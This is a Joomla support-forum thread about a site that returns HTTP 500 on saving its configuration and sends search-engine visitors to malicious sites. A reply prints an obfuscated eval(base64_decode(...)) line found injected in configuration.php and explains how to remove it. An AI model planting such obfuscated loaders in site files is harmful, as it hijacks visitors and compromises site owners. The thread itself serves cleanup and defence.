HTTP Error 500 (Internal Server Error) -Global Config Issue - Joomla! Forum - community, help and support

i having trouble saving global configuration after changing values website.

i wanted change meta settings under global configuration after clicking save button show:
server error
http error 500 (internal server error): unexpected condition encountered while server attempting fulfil request.

i wanted change meta settings because encountering problems website using search engine results. whenever click on resulted search supposedly link website link me website instead. @ first linked me website contained viruses linked me site below:
http://404.wikaba.com/

i have tried google, yahoo, bing search result directed me bad websites.

please help, in desperate need change website meta settings.

fyi, if type website address on address bar of internet browsers, website load no problem.

i had same problem.

my configuration.php had 64-base code like
eval(base64-decode("dqplcnjvcl9yzxbvcnrpbmcomck7dqokcwf6cgxtpwhlywrlcnnfc2vudcgpow0kawygkcekcwf6cgxtkxsnciryzwzlcmvypsrfu0vsvkvswydivfrqx1jfrkvsrvinxtsncir1ywc9jf9trvjwrvjbj0huvfbfvvnful9br0vovcddow0kawygkcr1ywcpihskawygkcfzdhjpc3rykcr1ywcsik1tsuugny4wiikg"));

after removed code sites work before.

use ftp, download file , update , upload.

consider clean joomla install , change passwords.....

regards,
mdoubleyou